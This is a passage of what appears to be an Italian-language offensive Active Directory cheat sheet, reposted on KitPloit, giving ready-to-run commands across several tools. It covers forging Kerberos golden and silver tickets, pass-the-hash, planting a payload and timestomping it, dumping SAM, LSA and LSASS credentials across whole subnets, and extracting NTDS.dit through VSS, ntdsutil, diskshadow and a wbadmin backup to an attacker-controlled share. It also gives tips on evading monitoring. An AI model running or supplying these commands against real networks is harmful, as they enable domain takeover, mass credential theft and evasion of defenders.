bloodyAD -H 192.168.1.1 -d DOMAIN -u admin -p :A2F8C3D1B4E5F6A7B8C9D0E1F2A3B4C5 set password jdoe NewPass

# Titanis — admin sets another user's password
Kerb setpw -UserName admin -UserDomain DOMAIN -Kdc 192.168.1.1 -Password AdminPass jdoe@DOMAIN NewPass

# gopacket — admin resets another user's password (SAMR over SMB)
changepasswd -reset -altuser DOMAIN/admin -altpass AdminPass -newpass NewPass DOMAIN/[email protected]
# gopacket — admin reset via pass-the-hash
changepasswd -reset -altuser DOMAIN/admin -althash A2F8C3D1B4E5F6A7B8C9D0E1F2A3B4C5 -newpass NewPass DOMAIN/[email protected]

↑ Torna all'indice


Golden / Silver Ticket

Stato di Titanis: Nessuna creazione di ticket. Usa Metasploit auxiliary/admin/kerberos/forge_ticket (Ruby nativo) o ticketer.py di impacket. ⚠️ I ticket falsificati non possono essere attualmente caricati in Titanis tramite -Tgt — impacket codifica i principal di servizio TGT come NT_PRINCIPAL (name type 1) ma Titanis si aspetta NT_SERVICE_INSTANCE (name type 2); una correzione è in attesa da parte dello sviluppatore. Usa KRB5CCNAME + impacket (wmiexec.py -k, smbclient.py -k) direttamente con i ticket falsificati per ora.```bash

Step 1 — obtain krbtgt hash via DCSync

secretsdump.py DOMAIN/Administrator:[email protected]
-just-dc-user DOMAIN/krbtgt | grep krbtgt

Step 1 alt — pypykatz DCSync

pypykatz smb dcsync "smb2+ntlm-password://DOMAIN\Administrator:[email protected]"
--username krbtgt

Step 2a — forge golden ticket (Metasploit)

msf6 > use auxiliary/admin/kerberos/forge_ticket msf6 auxiliary(forge_ticket) > run action=FORGE_GOLDEN domain=DOMAIN.LOCAL
domain_sid=S-1-5-21-... nthash=<krbtgt_ntlm> username=Administrator

Step 2b — forge silver ticket (Metasploit)

msf6 auxiliary(forge_ticket) > run action=FORGE_SILVER domain=DOMAIN.LOCAL
domain_sid=S-1-5-21-... nthash=<service_ntlm> username=Administrator
spn=cifs/fileserver.domain.local

Step 2c — forge diamond ticket (Metasploit)

msf6 auxiliary(forge_ticket) > run action=FORGE_DIAMOND domain=DOMAIN.LOCAL
rhosts=192.168.1.1 user=jdoe password=Password123
nthash=<krbtgt_ntlm> username=Administrator

Step 2d — forge sapphire ticket (Metasploit)

msf6 auxiliary(forge_ticket) > run action=FORGE_SAPPHIRE domain=DOMAIN.LOCAL
rhosts=192.168.1.1 user=jdoe password=Password123
nthash=<krbtgt_ntlm> username=Administrator

Step 2e — forge golden ticket (impacket)

ticketer.py -nthash <krbtgt_ntlm> -domain-sid S-1-5-21-...
-domain DOMAIN.LOCAL Administrator

Step 3 — use forged ticket with impacket (Titanis cannot load externally forged ccache files)

export KRB5CCNAME=Administrator.ccache wmiexec.py -k -no-pass DOMAIN/[email protected] "whoami" smbclient.py -k -no-pass DOMAIN/[email protected]

Silver ticket (impacket) — use with KRB5CCNAME + impacket

ticketer.py -nthash <service_ntlm> -domain-sid S-1-5-21-...
-domain DOMAIN.LOCAL -spn cifs/fileserver.domain.local Administrator export KRB5CCNAME=Administrator.ccache smbclient.py -k -no-pass DOMAIN/[email protected]

Titanis — non-functional with forged tickets currently; shown for API reference only

(-Tgt rejects impacket ccache due to NT_PRINCIPAL vs NT_SERVICE_INSTANCE name type; fix pending)

Wmi exec dc01 -ha 192.168.1.1 -UserName Administrator -UserDomain DOMAIN \

-TicketCache Administrator.ccache "whoami"

Smb2Client ls \fileserver.domain.local\C$ -UserName Administrator -UserDomain DOMAIN \

-TicketCache Administrator.ccache

gopacket — golden ticket (requires krbtgt NT hash and domain SID)

ticketer -nthash <krbtgt_ntlm> -domain-sid S-1-5-21-...
-domain DOMAIN.LOCAL Administrator export KRB5CCNAME=Administrator.ccache wmiexec -k -no-pass DOMAIN/[email protected] "whoami"

gopacket — silver ticket (service account NT hash)

ticketer -nthash <service_ntlm> -domain-sid S-1-5-21-...
-domain DOMAIN.LOCAL -spn cifs/fileserver.domain.local Administrator export KRB5CCNAME=Administrator.ccache smbclient -k -no-pass DOMAIN/[email protected]

root@kitploit:~
[↑ Torna all'indice](#index)

---

## 3. SMB / Operazioni sui file

### Elenca condivisioni```bash
# impacket
smbclient.py -shares DOMAIN/jdoe:[email protected]

# NetExec
netexec smb 192.168.1.10 -u jdoe -p Password123 --shares

# smbclient
smbclient -L //192.168.1.10 -U 'DOMAIN\jdoe%Password123'

# aiosmb — password
asmbshareenum "smb+ntlm-password://DOMAIN\jdoe:[email protected]"

# aiosmb — pass-the-hash
asmbshareenum "smb+ntlm-nt://DOMAIN\jdoe:[email protected]"

# aiosmb — Kerberos ccache
asmbshareenum "smb+kerberos+ccache://DOMAIN\jdoe:@192.168.1.10/?dc=192.168.1.1&ccache=jdoe.ccache"

# Titanis
Smb2Client enumshares \\192.168.1.10 -UserName jdoe -UserDomain DOMAIN -Password Password123

# gopacket — password
smbclient -shares DOMAIN/jdoe:[email protected]
# gopacket — pass-the-hash
smbclient -shares -hashes :A2F8C3D1B4E5F6A7B8C9D0E1F2A3B4C5 DOMAIN/[email protected]

↑ Torna all'indice


Sfoglia / Elenca file```bash

impacket

smbclient.py DOMAIN/jdoe:[email protected]

smbclient-ng

smbclient-ng -u jdoe -p Password123 --domain DOMAIN --host 192.168.1.10

aiosmb — interactive client (ls, cd, get, put, services, sessions, whoami, tasks built-in)

asmbclient "smb+ntlm-password://DOMAIN\jdoe:[email protected]"

aiosmb — pass-the-hash

asmbclient "smb+ntlm-nt://DOMAIN\jdoe:[email protected]"

Titanis

Smb2Client ls \192.168.1.10\Share -UserName jdoe -UserDomain DOMAIN -Password Password123 Smb2Client ls \192.168.1.10\C$ -UserName jdoe -UserDomain DOMAIN -Password Password123

gopacket — interactive SMB shell (ls, cd, get, put)

smbclient DOMAIN/jdoe:[email protected]

gopacket — pass-the-hash

smbclient -hashes :A2F8C3D1B4E5F6A7B8C9D0E1F2A3B4C5 DOMAIN/[email protected]

root@kitploit:~
[↑ Torna all'indice](#index)

---

### Scarica un file```bash
# impacket
smbclient.py DOMAIN/jdoe:[email protected]
# smb: \> get Windows\System32\drivers\etc\hosts hosts.txt

# smbclient
smbclient //192.168.1.10/C$ -U 'DOMAIN\jdoe%Password123' \
  -c 'get Windows\System32\drivers\etc\hosts hosts.txt'

# aiosmb — password (full path embedded in URL after the host)
asmbgetfile "smb+ntlm-password://DOMAIN\jdoe:[email protected]/C$/Windows/System32/drivers/etc/hosts" \
  -o hosts.txt

# aiosmb — pass-the-hash
asmbgetfile "smb+ntlm-nt://DOMAIN\jdoe:[email protected]/C$/Windows/System32/drivers/etc/hosts" \
  -o hosts.txt

# Titanis
Smb2Client get \\192.168.1.10\C$\Windows\System32\drivers\etc\hosts hosts.txt \
  -UserName jdoe -UserDomain DOMAIN -Password Password123

↑ Torna all'indice


Download con semantica di backup

Per file bloccati o protetti (NTDS.dit, SYSTEM hive, ecc.).```bash

Titanis

Smb2Client get \192.168.1.10\C$\Windows\NTDS\ntds.dit ntds.dit
-UserName jdoe -UserDomain DOMAIN -Password Password123 -UseBackupSemantics

root@kitploit:~
[↑ Torna all'indice](#index)

---

### Carica un file```bash
# impacket
smbclient.py DOMAIN/jdoe:[email protected]
# smb: \> put payload.exe Windows\Temp\payload.exe

# smbclient
smbclient //192.168.1.10/C$ -U 'DOMAIN\jdoe%Password123' \
  -c 'put payload.exe Windows\Temp\payload.exe'

# Titanis
Smb2Client put payload.exe \\192.168.1.10\C$\Windows\Temp\payload.exe \
  -UserName jdoe -UserDomain DOMAIN -Password Password123

↑ Torna all'indice


Crea / Rimuovi Directory e File```bash

impacket

smbclient.py DOMAIN/jdoe:[email protected]

smb: > mkdir Windows\Temp\newdir

smb: > rmdir Windows\Temp\newdir

smb: > del Windows\Temp\file.txt

smbclient

smbclient //192.168.1.10/C$ -U 'DOMAIN\jdoe%Password123' -c 'mkdir Windows\Temp\newdir' smbclient //192.168.1.10/C$ -U 'DOMAIN\jdoe%Password123' -c 'rmdir Windows\Temp\newdir' smbclient //192.168.1.10/C$ -U 'DOMAIN\jdoe%Password123' -c 'del Windows\Temp\file.txt'

Titanis

Smb2Client mkdir \192.168.1.10\C$\Windows\Temp\newdir -UserName jdoe -UserDomain DOMAIN -Password Password123 Smb2Client rmdir \192.168.1.10\C$\Windows\Temp\newdir -UserName jdoe -UserDomain DOMAIN -Password Password123 Smb2Client rm \192.168.1.10\C$\Windows\Temp\file.txt -UserName jdoe -UserDomain DOMAIN -Password Password123

root@kitploit:~
[↑ Torna all'indice](#index)

---

### Elenca named pipe```bash
# impacket
smbclient.py DOMAIN/jdoe:[email protected]
# smb: \> cd \pipe\
# smb: \pipe\> ls

# NetExec
netexec smb 192.168.1.10 -u jdoe -p Password123 --pipe

# Titanis
Smb2Client ls \\192.168.1.10\IPC$ -UserName jdoe -UserDomain DOMAIN -Password Password123

↑ Torna all'indice


Pass the Hash — SMB```bash

impacket

smbclient.py -hashes :A2F8C3D1B4E5F6A7B8C9D0E1F2A3B4C5 DOMAIN/[email protected]

NetExec

netexec smb 192.168.1.10 -u jdoe -H A2F8C3D1B4E5F6A7B8C9D0E1F2A3B4C5

aiosmb

asmbclient "smb+ntlm-nt://DOMAIN\jdoe:[email protected]"

Titanis

Smb2Client ls \192.168.1.10\C$ -UserName jdoe -UserDomain DOMAIN
-NtlmHash A2F8C3D1B4E5F6A7B8C9D0E1F2A3B4C5

root@kitploit:~
[↑ Torna all'indice](#index)

---

### SMB su SOCKS5```bash
# impacket
proxychains smbclient.py DOMAIN/jdoe:[email protected]

# aiosmb — SOCKS5 (native, no proxychains needed)
asmbclient "smb+ntlm-password://DOMAIN\jdoe:[email protected]/?proxyhost=127.0.0.1&proxyport=1080"

# aiosmb — SOCKS4
asmbclient "smb+ntlm-password://DOMAIN\jdoe:[email protected]/?proxytype=socks4&proxyhost=127.0.0.1&proxyport=1080"

# Titanis
Smb2Client ls \\192.168.1.10\C$ -UserName jdoe -UserDomain DOMAIN -Password Password123 \
  -Socks5 127.0.0.1:1080

↑ Torna all'Indice


Enumerare File Aperti / Sessioni```bash

NetExec

netexec smb 192.168.1.10 -u jdoe -p Password123 --sessions netexec smb 192.168.1.10 -u jdoe -p Password123 --loggedon-users

aiosmb — interactive client commands

asmbclient "smb+ntlm-password://DOMAIN\jdoe:[email protected]"

smb> sessions

smb> files

Titanis

Smb2Client enumopenfiles \192.168.1.10 -UserName jdoe -UserDomain DOMAIN -Password Password123 Smb2Client enumsessions \192.168.1.10 -UserName jdoe -UserDomain DOMAIN -Password Password123

gopacket — enumerate sessions and open files

netview DOMAIN/jdoe:[email protected]

gopacket — pass-the-hash

netview -hashes :A2F8C3D1B4E5F6A7B8C9D0E1F2A3B4C5 DOMAIN/[email protected]

root@kitploit:~
[↑ Torna all'indice](#index)

---

### Remote File Timestomping```bash
# smbclient-ng
smbclient-ng --host 192.168.1.10 -u jdoe -p Password123 --domain DOMAIN \
  touch --time "2022-01-01 00:00:00" C$/Windows/Temp/payload.exe

# Titanis
Smb2Client touch \\192.168.1.10\C$\Windows\Temp\payload.exe \
  -UserName jdoe -UserDomain DOMAIN -Password Password123 -LastWriteTimestamp "2022-01-01 00:00:00"

↑ Torna all'indice


Enumerazione degli snapshot VSS```bash

impacket — connect, switch to share, then enumerate snapshots

smbclient.py DOMAIN/jdoe:[email protected]

smb: > use c$

smb: \c$> list_snapshots

@GMT-2026.03.15-22.24.19

smbclient-ng

smbclient-ng --host 192.168.1.10 -u jdoe -p Password123 --domain DOMAIN snapshots C$

Titanis

Smb2Client enumsnapshots \192.168.1.10\C$ -UserName jdoe -UserDomain DOMAIN -Password Password123

gopacket — ⚠️ list_snapshots not implemented in gopacket smbclient (feature request pending)

Use impacket smbclient.py or native smbclient for this step

root@kitploit:~
> **Accesso al percorso snapshot @GMT:** `@GMT-...` non è una directory reale — Windows SRV.SYS intercetta il token nel percorso SMB2 CREATE e reindirizza allo snapshot VSS. Gli strumenti che navigano i percorsi componente per componente (incluso `Smb2Client get`) riceveranno `STATUS_OBJECT_PATH_NOT_FOUND`. Usa smbclient.py o lo smbclient nativo, che inviano il percorso completo in una singola richiesta CREATE:
>
> ```bash
> # impacket smbclient.py — enumerate then pull via snapshot path
> smbclient.py DOMAIN/jdoe:[email protected]
> # smb: \> use c$
> # smb: \c$\> list_snapshots
> # @GMT-2026.03.15-22.24.19
> # smb: \c$\> get @GMT-2026.03.15-22.24.19\Windows\NTDS\ntds.dit ntds.dit
>
> # native smbclient (Samba)
> smbclient //192.168.1.10/C$ -U 'DOMAIN\jdoe%Password123' \
>   -c 'get @GMT-2026.03.15-22.24.19\Windows\NTDS\ntds.dit ntds.dit'
> ```

[↑ Torna all'indice](#index)

---

### Enumerazione dei flussi di dati alternativi NTFS (ADS)```bash
# smbclient
smbclient //192.168.1.10/C$ -U 'DOMAIN\jdoe%Password123' \
  -c 'allinfo Windows\Temp\file.txt'

# smbclient-ng
smbclient-ng --host 192.168.1.10 -u jdoe -p Password123 --domain DOMAIN \
  streams C$/Windows/Temp/file.txt

# Titanis
Smb2Client enumstreams \\192.168.1.10\C$\Windows\Temp\file.txt \
  -UserName jdoe -UserDomain DOMAIN -Password Password123

↑ Torna all'indice


Enumerazione delle NIC del server```bash

NetExec

netexec smb 192.168.1.10 -u jdoe -p Password123 --interfaces

smbclient-ng

smbclient-ng --host 192.168.1.10 -u jdoe -p Password123 --domain DOMAIN nics

Titanis

Smb2Client enumnics \192.168.1.10 -UserName jdoe -UserDomain DOMAIN -Password Password123

root@kitploit:~
[↑ Torna all'indice](#index)

---

### Enumerazione in blocco delle condivisioni```bash
# NetExec
netexec smb 192.168.1.0/24 -u jdoe -p Password123 --shares

# aiosmb — async subnet scanner (faster than looping)
# syntax: asmbscanner [global_opts] {file|brute|list} <url> <ip/cidr>
# results written to TSV files in output dir (-o dir, default: current dir)
asmbscanner -w 5 --no-progress file \
  "smb+ntlm-password://DOMAIN\jdoe:Password123@" 192.168.1.0/24

# aiosmb — pass-the-hash
asmbscanner -w 5 --no-progress file \
  "smb+ntlm-nt://DOMAIN\jdoe:A2F8C3D1B4E5F6A7B8C9D0E1F2A3B4C5@" 192.168.1.0/24

# Titanis
while IFS= read -r host; do
  echo "=== $host ==="
  smb2 enumshares "\\\\${host}" -UserName jdoe -UserDomain DOMAIN \
    -Password Password123 2>/dev/null
done < hosts.txt

↑ Torna all'indice


4. Estrazione delle Credenziali

Analisi del Minidump LSASS (offline)```bash

pypykatz — parse captured LSASS minidump

pypykatz lsa minidump lsass.DMP

Output to JSON

pypykatz lsa minidump lsass.DMP -o lsass_creds.json --json

Extract Kerberos tickets to ccache files (loadable via Titanis -TicketCache)

pypykatz lsa minidump lsass.DMP -k /tmp/kerberos_tickets/

Extract DPAPI masterkeys from LSASS memory

pypykatz lsa minidump lsass.DMP -o dpapi_keys.json

pypykatz — live LSASS dump + parse remotely over SMB (no minidump file needed)

pypykatz smb lsassdump "smb2+ntlm-password://DOMAIN\jdoe:[email protected]" pypykatz smb lsassdump "smb2+ntlm-nt://DOMAIN\jdoe:[email protected]"

NetExec — remote LSASS dump via SMB

netexec smb 192.168.1.10 -u jdoe -p Password123 -M lsassy

root@kitploit:~
[↑ Torna all'indice](#index)

---

### Estrai gli hash SAM```bash
# impacket
secretsdump.py -sam DOMAIN/jdoe:[email protected]

# Metasploit
msf6 > use auxiliary/gather/windows_secrets_dump
msf6 auxiliary(windows_secrets_dump) > run rhosts=192.168.1.10 smbdomain=DOMAIN \
  smbuser=jdoe smbpass=Password123 action=SAM

# Metasploit — pass-the-hash
msf6 auxiliary(windows_secrets_dump) > run rhosts=192.168.1.10 smbdomain=DOMAIN \
  smbuser=jdoe smbpass=aad3b435b51404eeaad3b435b51404ee:A2F8C3D1B4E5F6A7B8C9D0E1F2A3B4C5 \
  action=SAM

# NetExec
netexec smb 192.168.1.10 -u jdoe -p Password123 --sam

# pypykatz — remote SAM dump via SMB
pypykatz smb regdump "smb2+ntlm-password://DOMAIN\jdoe:[email protected]" --sam
pypykatz smb regdump "smb2+ntlm-nt://DOMAIN\jdoe:[email protected]" --sam

# Titanis — requires -BackupSemantics even as domain admin; without it → ACCESS_DENIED
Reg dumpsam 192.168.1.10 -UserName jdoe -UserDomain DOMAIN -Password Password123 -BackupSemantics

# Titanis — backup operator (no admin required, -BackupSemantics still required)
Reg dumpsam 192.168.1.10 -UserName backupuser -UserDomain DOMAIN \
  -Password Password123 -BackupSemantics

↑ Torna all'indice


Dump dei segreti LSA```bash

impacket

secretsdump.py -lsa DOMAIN/jdoe:[email protected]

Metasploit

msf6 auxiliary(windows_secrets_dump) > run rhosts=192.168.1.10 smbdomain=DOMAIN
smbuser=jdoe smbpass=Password123 action=LSA

Metasploit — pass-the-hash

msf6 auxiliary(windows_secrets_dump) > run rhosts=192.168.1.10 smbdomain=DOMAIN
smbuser=jdoe smbpass=aad3b435b51404eeaad3b435b51404ee:A2F8C3D1B4E5F6A7B8C9D0E1F2A3B4C5
action=LSA

NetExec

netexec smb 192.168.1.10 -u jdoe -p Password123 --lsa

pypykatz — remote LSA secrets dump via SMB

pypykatz smb regdump "smb2+ntlm-password://DOMAIN\jdoe:[email protected]" --lsa pypykatz smb regdump "smb2+ntlm-nt://DOMAIN\jdoe:[email protected]" --lsa

Titanis — requires -BackupSemantics; without it → ACCESS_DENIED

Reg dumplsasecrets 192.168.1.10 -UserName jdoe -UserDomain DOMAIN -Password Password123 -BackupSemantics

root@kitploit:~
[↑ Torna all'indice](#index)

---

### Dump di SAM + LSA insieme```bash
# impacket
secretsdump.py DOMAIN/jdoe:[email protected]

# Metasploit — ALL action (SAM + LSA + cached creds)
msf6 auxiliary(windows_secrets_dump) > run rhosts=192.168.1.10 smbdomain=DOMAIN \
  smbuser=jdoe smbpass=Password123 action=ALL

# NetExec
netexec smb 192.168.1.10 -u jdoe -p Password123 --sam --lsa

# pypykatz — remote registry dump via SMB
pypykatz smb regdump "smb2+ntlm-password://DOMAIN\jdoe:[email protected]"
pypykatz smb regdump "smb2+ntlm-nt://DOMAIN\jdoe:[email protected]"
pypykatz smb regdump "smb2+kerberos+ccache://DOMAIN\jdoe:@192.168.1.10?ccache=jdoe.ccache"

# pypykatz — remote LSASS dump + parse via SMB
pypykatz smb lsassdump "smb2+ntlm-password://DOMAIN\jdoe:[email protected]"
pypykatz smb lsassdump "smb2+ntlm-nt://DOMAIN\jdoe:[email protected]"

# pypykatz — combined (SAM + LSA + LSASS in one call)
pypykatz smb secretsdump "smb2+ntlm-password://DOMAIN\jdoe:[email protected]"

# Titanis — requires -BackupSemantics for both; without it → ACCESS_DENIED
Reg dumpsam        192.168.1.10 -UserName jdoe -UserDomain DOMAIN -Password Password123 -BackupSemantics
Reg dumplsasecrets 192.168.1.10 -UserName jdoe -UserDomain DOMAIN -Password Password123 -BackupSemantics

# gopacket — SAM + LSA + DCSync (password)
secretsdump DOMAIN/jdoe:[email protected]
# gopacket — pass-the-hash
secretsdump -hashes :A2F8C3D1B4E5F6A7B8C9D0E1F2A3B4C5 DOMAIN/[email protected]

↑ Torna all'indice


Dump di massa di SAM / LSA su più host```bash

NetExec

netexec smb 192.168.1.0/24 -u jdoe -p Password123 --sam --lsa

NetExec — pass-the-hash

netexec smb 192.168.1.0/24 -u jdoe -H A2F8C3D1B4E5F6A7B8C9D0E1F2A3B4C5 --sam --lsa

pypykatz — combined SAM + LSA + LSASS across a host list

while IFS= read -r host; do echo "=== $host ===" >> pypykatz_dump.txt pypykatz smb secretsdump "smb2+ntlm-password://DOMAIN\jdoe:Password123@${host}"
>> pypykatz_dump.txt 2>&1 done < hosts.txt

Titanis

while IFS= read -r host; do echo "=== $host ===" | tee -a sam_dump.txt reg dumpsam "$host" -UserName jdoe -UserDomain DOMAIN -Password Password123 -BackupSemantics >> sam_dump.txt 2>&1 reg dumplsasecrets "$host" -UserName jdoe -UserDomain DOMAIN -Password Password123 -BackupSemantics >> lsa_dump.txt 2>&1 done < hosts.txt

root@kitploit:~
[↑ Torna all'indice](#index)

---

### NTDS Dump tramite VSS Snapshot

> Richiede una copia shadow VSS sul DC e legge NTDS.dit + hive SYSTEM direttamente dallo snapshot. Non usa la replica — utile quando DCSync è bloccato o monitorato.

> **⚠️ Limitazione di `-use-vss`:** `-use-vss` di secretsdump usa smbexec internamente per eseguire vssadmin e raccogliere l'output. La creazione del servizio smbexec richiede il livello di autenticazione SVCCTL `PacketPrivacy`, che secretsdump non negozia — la creazione del servizio fallisce silenziosamente e il file di output non viene mai scritto. Usa invece `-use-remoteSSWMI -use-remoteSSWMI-NTDS`, che bypassa completamente SVCCTL.```bash
# impacket — VSS method (default exec via smbexec)
# ⚠️ Fails if SVCCTL requires PacketPrivacy; use -use-remoteSSWMI-NTDS instead
secretsdump.py DOMAIN/Administrator:[email protected] -use-vss

# impacket — VSS with explicit exec method
secretsdump.py DOMAIN/Administrator:[email protected] -use-vss \
  -exec-method wmiexec

# impacket — VSS pass-the-hash
secretsdump.py -hashes :A2F8C3D1B4E5F6A7B8C9D0E1F2A3B4C5 \
  DOMAIN/[email protected] -use-vss

# impacket — VSS with output file + useful display flags
secretsdump.py DOMAIN/Administrator:[email protected] -use-vss \
  -outputfile ntds_dump -user-status -pwd-last-set

# impacket — WMI shadow snapshot (preferred VSS method; no SVCCTL / smbexec required)
# Creates VSS copy via Win32_ShadowCopy WMI class, downloads SAM/SYSTEM/SECURITY locally
secretsdump.py DOMAIN/Administrator:[email protected] -use-remoteSSWMI

# impacket — WMI shadow snapshot including NTDS.dit (DC-specific)
# -use-remoteSSWMI-NTDS must be used together with -use-remoteSSWMI
secretsdump.py DOMAIN/Administrator:[email protected] \
  -use-remoteSSWMI -use-remoteSSWMI-NTDS

# impacket — WMI shadow pass-the-hash
secretsdump.py -hashes :A2F8C3D1B4E5F6A7B8C9D0E1F2A3B4C5 \
  DOMAIN/[email protected] -use-remoteSSWMI -use-remoteSSWMI-NTDS

# NetExec — VSS method
netexec smb 192.168.1.1 -u Administrator -p Password123 --ntds vss

# NetExec — VSS pass-the-hash
netexec smb 192.168.1.1 -u Administrator -H A2F8C3D1B4E5F6A7B8C9D0E1F2A3B4C5 --ntds vss

# NetExec — VSS, enabled accounts only
netexec smb 192.168.1.1 -u Administrator -p Password123 --ntds vss --enabled

# Titanis — enumerate existing snapshots
Smb2Client enumsnapshots \\192.168.1.1\C$ -UserName Administrator -UserDomain DOMAIN -Password Password123

# Retrieve files from snapshot — use token from enumsnapshots or vssadmin output
smbclient.py DOMAIN/Administrator:[email protected]
# list_snapshots C$
# get @GMT-2024.01.01-00.00.00\Windows\NTDS\ntds.dit ntds.dit
# get @GMT-2024.01.01-00.00.00\Windows\System32\config\SYSTEM SYSTEM

# native smbclient (Samba)
smbclient //192.168.1.1/C$ -U 'DOMAIN\Administrator%Password123' \
  -c 'get @GMT-2024.01.01-00.00.00\Windows\NTDS\ntds.dit ntds.dit'
smbclient //192.168.1.1/C$ -U 'DOMAIN\Administrator%Password123' \
  -c 'get @GMT-2024.01.01-00.00.00\Windows\System32\config\SYSTEM SYSTEM'

# Parse offline
secretsdump.py -ntds ntds.dit -system SYSTEM LOCAL

↑ Torna all'indice


Dump di NTDS tramite IFM (ntdsutil)

Usa ntdsutil ifm per creare un set Install-From-Media sul DC — un'operazione AD legittima che produce una copia di NTDS.dit. Meno rumoroso di VSS in alcuni ambienti, poiché ntdsutil è uno strumento amministrativo AD integrato.

⚠️ Limitazione dell'esecuzione WMI: ntdsutil richiede SeBackupPrivilege e l'elevazione completa del token nel processo in esecuzione. I processi avviati tramite WMI non ricevono un token completamente elevato nemmeno per l'admin di dominio — ntdsutil restituisce Access is denied indipendentemente dalle credenziali. Se l'esecuzione basata su WMI fallisce, usa invece secretsdump -use-remoteSSWMI -use-remoteSSWMI-NTDS o il LOLBin diskshadow. Il modulo NetExec -M ntdsutil può avere successo tramite il suo metodo di esecuzione predefinito su alcuni target.```bash

impacket — trigger ntdsutil via wmiexec, pull files, parse

⚠️ ntdsutil must be called by full path when invoked via WMI: C:\Windows\System32\ntdsutil.exe

wmiexec.py DOMAIN/Administrator:[email protected]
"ntdsutil "ac i ntds" "ifm" "create full C:\Windows\Temp\ifm" q q"

Wait for completion, then retrieve

smbclient.py DOMAIN/Administrator:[email protected]

smb: > get Windows\Temp\ifm\Active Directory\ntds.dit ntds.dit

smb: > get Windows\Temp\ifm\registry\SYSTEM SYSTEM

NetExec — ntdsutil module (handles exec + retrieval + parsing automatically)

netexec smb 192.168.1.1 -u Administrator -p Password123 -M ntdsutil

NetExec — ntdsutil module pass-the-hash

netexec smb 192.168.1.1 -u Administrator -H A2F8C3D1B4E5F6A7B8C9D0E1F2A3B4C5 -M ntdsutil

Titanis — exec via WMI, retrieve via SMB, parse offline

⚠️ WMI process token elevation issue; may return Access is denied. Use diskshadow or -use-remoteSSWMI-NTDS instead.

Wmi exec 192.168.1.1 -UserName Administrator -UserDomain DOMAIN -Password Password123
"C:\Windows\System32\ntdsutil.exe "ac i ntds" "ifm" "create full C:\Windows\Temp\ifm" q q" Smb2Client get "\192.168.1.1\C$\Windows\Temp\ifm\Active Directory\ntds.dit" ntds.dit
-UserName Administrator -UserDomain DOMAIN -Password Password123 Smb2Client get "\192.168.1.1\C$\Windows\Temp\ifm\registry\SYSTEM" SYSTEM
-UserName Administrator -UserDomain DOMAIN -Password Password123

Clean up

Smb2Client rmdir "\192.168.1.1\C$\Windows\Temp\ifm"
-UserName Administrator -UserDomain DOMAIN -Password Password123

Parse offline

secretsdump.py -ntds ntds.dit -system SYSTEM LOCAL

root@kitploit:~
[↑ Torna all'Indice](#index)

---

### Dump NTDS tramite wbadmin (Backup di Windows Server)

> `wbadmin` è un LOLBin di Windows integrato che utilizza internamente VSS per eseguire il backup dei file su una condivisione di rete — nessuno staging locale, nessun artefatto di esecuzione del codice oltre al processo di backup. Funziona per i Backup Operators (non è richiesto DA). Richiede che la condivisione sia scrivibile dal DC.

> **⚠️ Richiede la funzionalità Windows `WindowsServerBackup`.** Il binario wbadmin è presente come stub anche quando la funzionalità non è installata — si bloccherà o fallirà silenziosamente. Verifica che la funzionalità sia attiva prima di tentare: `Get-WindowsFeature WindowsServerBackup` (PowerShell) o `DISM /online /Get-FeatureInfo /FeatureName:WindowsServerBackup`. Se `InstallState` non è `Installed`, questo metodo non funzionerà.```bash
# Check feature state (run via WMI exec before proceeding)
wmiexec.py DOMAIN/Administrator:[email protected] \
  "powershell -c \"(Get-WindowsFeature WindowsServerBackup).InstallState\""

# Step 1 — trigger backup of NTDS.dit from DC to an attacker-controlled share
# (run via wmiexec / scm / any exec method)
wmiexec.py DOMAIN/Administrator:[email protected] \
  "wbadmin start backup -backupTarget:\\\\<attacker-ip>\\share -include:C:\\Windows\\NTDS\\ntds.dit -quiet"

# Titanis — exec via WMI
Wmi exec 192.168.1.1 -UserName Administrator -UserDomain DOMAIN -Password Password123 \
  "wbadmin start backup -backupTarget:\\\\<attacker-ip>\\share -include:C:\\Windows\\NTDS\\ntds.dit -quiet"

# Step 2 — list backup versions to get the version identifier
wmiexec.py DOMAIN/Administrator:[email protected] "wbadmin get versions"

# Step 3 — recover the NTDS.dit from the backup
wmiexec.py DOMAIN/Administrator:[email protected] \
  "wbadmin start recovery -version:<VERSION> -items:C:\\Windows\\NTDS\\ntds.dit \
  -itemType:File -recoveryTarget:C:\\Windows\\Temp\\ -notRestoreAcl -quiet"

# Step 4 — also need SYSTEM hive
wmiexec.py DOMAIN/Administrator:[email protected] \
  "reg save HKLM\\SYSTEM C:\\Windows\\Temp\\SYSTEM"

# Step 5 — retrieve both files and parse offline
Smb2Client get "\\192.168.1.1\C$\Windows\Temp\ntds.dit" ntds.dit \
  -UserName Administrator -UserDomain DOMAIN -Password Password123
Smb2Client get "\\192.168.1.1\C$\Windows\Temp\SYSTEM" SYSTEM \
  -UserName Administrator -UserDomain DOMAIN -Password Password123
secretsdump.py -ntds ntds.dit -system SYSTEM LOCAL

↑ Back to Index


NTDS Dump tramite Diskshadow

diskshadow.exe è un LOLBin di Windows integrato che interagisce direttamente con VSS. Utile quando vssadmin è bloccato o monitorato — diskshadow è meno frequentemente segnalato. I Backup Operators possono usarlo senza DA completo. Richiede il caricamento di un file script sul DC.

⚠️ Il file script deve avere terminazioni di riga CRLF. diskshadow.exe rifiuta script con soli LF. Esegui unix2dos shadow.dsh prima del caricamento, oppure crea il file con printf usando esplicitamente \r\n.

⚠️ Nota sul reindirizzamento Wmi exec di Titanis: Non includere > nell'argomento del comando Wmi exec — Titanis analizza > in modo speciale e la creazione del processo fallisce con ERROR_FILE_NOT_FOUND. Se devi catturare l'output, scrivi un file .bat con il reindirizzamento e caricalo separatamente, quindi esegui il file bat.```bash

Step 1 — create diskshadow script locally (CRLF required)

cat > shadow.dsh << 'EOF' set context persistent nowriters set metadata C:\Windows\Temp\meta.cab add volume C: alias trophy create expose %trophy% Z: EOF unix2dos shadow.dsh # ← required; diskshadow rejects LF-only scripts

Step 2 — upload script to DC

smbclient.py DOMAIN/Administrator:[email protected]

smb: > put shadow.dsh Windows\Temp\shadow.dsh

Titanis — upload

Smb2Client put shadow.dsh "\192.168.1.1\C$\Windows\Temp\shadow.dsh"
-UserName Administrator -UserDomain DOMAIN -Password Password123

Step 3 — execute diskshadow and copy NTDS.dit

wmiexec.py DOMAIN/Administrator:[email protected]
"diskshadow.exe /s C:\Windows\Temp\shadow.dsh" wmiexec.py DOMAIN/Administrator:[email protected]
"cmd.exe /c copy Z:\Windows\NTDS\ntds.dit C:\Windows\Temp\ntds.dit" wmiexec.py DOMAIN/Administrator:[email protected]
"cmd.exe /c copy Z:\Windows\System32\config\SYSTEM C:\Windows\Temp\SYSTEM"

